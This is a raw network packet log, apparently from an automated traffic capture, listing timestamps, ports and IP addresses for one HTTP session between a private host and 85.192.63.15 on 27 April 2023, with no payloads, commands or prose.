Apr 27, 2023 07:41:53.746535063 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.746601105 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.746619940 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.746644974 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.746648073 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.746665955 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.746675014 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.746675014 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.746694088 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.746709108 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.749763012 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.749804974 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.749836922 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.749852896 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.749852896 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.749861956 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.749880075 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.749883890 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.749906063 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.749942064 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.751490116 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.751523972 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.751549006 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.751569033 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.751578093 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.751615047 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.751615047 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.751615047 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.753093958 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.753118992 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.753137112 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.753158092 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.753216982 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.753225088 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.753237963 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.753246069 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.753279924 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.753282070 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.753299952 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.753330946 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.753340006 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.753360987 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.753396988 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.753415108 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.754654884 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.754677057 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.754694939 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.754710913 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.754834890 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.756221056 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.756268024 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.756305933 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.756319046 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.756340027 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.756340027 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.756362915 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.756366968 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.756392956 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.756409883 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.756498098 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.756537914 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.756552935 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.756568909 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.756582022 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.756630898 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.756658077 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.756688118 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.757899046 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.757930040 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.757949114 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.757973909 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.757989883 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.757994890 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.758013010 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.758013010 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.758035898 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.758035898 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.759594917 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.759627104 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.759659052 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.759687901 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.759697914 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.759697914 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.759708881 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.759723902 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.759741068 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.759761095 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.763273954 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.763325930 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.763362885 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.763385057 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.763412952 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.763432026 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.763432026 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.763453960 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.763493061 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.763504028 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.763528109 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.763542891 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.763544083 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.763561964 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.763583899 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.763597965 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.763606071 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.763628960 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.763647079 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.763678074 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.764225960 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.764271021 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.764312983 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.764344931 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.764554977 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.764575958 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.764616966 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.764643908 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.764663935 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.764691114 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.764707088 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.764712095 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.764729977 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.764759064 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.766311884 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.766334057 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.766359091 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.766387939 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.766387939 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.766387939 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.766408920 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.766411066 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.766453981 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.766470909 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.766478062 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.766506910 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.766526937 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.766532898 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.766551018 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.766552925 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.766580105 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.766597033 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.767855883 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.767882109 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.767905951 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.767931938 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.767951012 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.767976999 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.767991066 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.767991066 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.767991066 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.767996073 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.768028975 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.768048048 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.768058062 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.768075943 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.768086910 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.768104076 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.768125057 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.768129110 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.768178940 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.769642115 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.769665003 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.769681931 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.769704103 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.769733906 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.769753933 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.769762993 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.769785881 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.769789934 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.769813061 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.769813061 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.769833088 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.769840956 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.769860983 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.769879103 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.769879103 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.769900084 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.771008015 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.771028996 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.771043062 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.771094084 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.771133900 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.771155119 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.771176100 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.771176100 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.771195889 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.772660017 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.772680998 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.772694111 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.772735119 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.772742987 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.772754908 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.772764921 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.772782087 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.772798061 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.776145935 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.776168108 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.776180983 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.776201010 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.776227951 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.776240110 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.776252031 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.776273012 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.776276112 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.776276112 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.776299953 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.776299953 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.776319027 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.776530981 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.776551962 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.776587009 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.776617050 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.777590036 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.777616024 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.777647018 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.777668953 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.777673006 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.777697086 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.777697086 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.777697086 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.777714968 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.777744055 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.779557943 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.779597998 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.779628038 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.779634953 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.779653072 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.779658079 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.779691935 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.779721022 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.779742956 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.779755116 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.779772043 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.779786110 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.779808044 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.779812098 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.779833078 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.779863119 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.779994011 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.780028105 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.780052900 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.780073881 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.780078888 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.780102015 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.780129910 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.780142069 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.780148029 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.780167103 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.780189991 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.780210018 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.780745983 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.780771971 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.780801058 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.780821085 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.780832052 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.780858040 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.780863047 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.780863047 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.780880928 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.780900955 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.781085968 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.781109095 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.781135082 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.781155109 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.781160116 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.781160116 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.781197071 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.781244040 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.781266928 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.781300068 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.781300068 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.781327963 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.782924891 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.782953978 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.782985926 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.783001900 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.783008099 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.783025980 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.783039093 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.783042908 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.783058882 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.783062935 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.783108950 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.783108950 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.786355972 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.786392927 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.786413908 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.786439896 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.786438942 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.786461115 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.786463976 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.786494017 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.786498070 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.786498070 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.786520004 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.786521912 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.786550045 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.786552906 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.786566019 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.786581993 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.786602020 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.786628008 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.786650896 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.786658049 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.786681890 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.786748886 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.786940098 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.786967039 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.786998034 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.787029982 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.789654970 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.789690018 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.789715052 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.789727926 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.789735079 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.789752007 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.789760113 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.789768934 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.789778948 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.789784908 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.789802074 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.789802074 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.789824009 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.789825916 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.789844036 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.789849043 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.789887905 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.789906025 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.792690039 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.792711973 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.792728901 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.792746067 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.792825937 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.792825937 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.792844057 CEST	80	49697	85.192.63.15	192.168.2.3
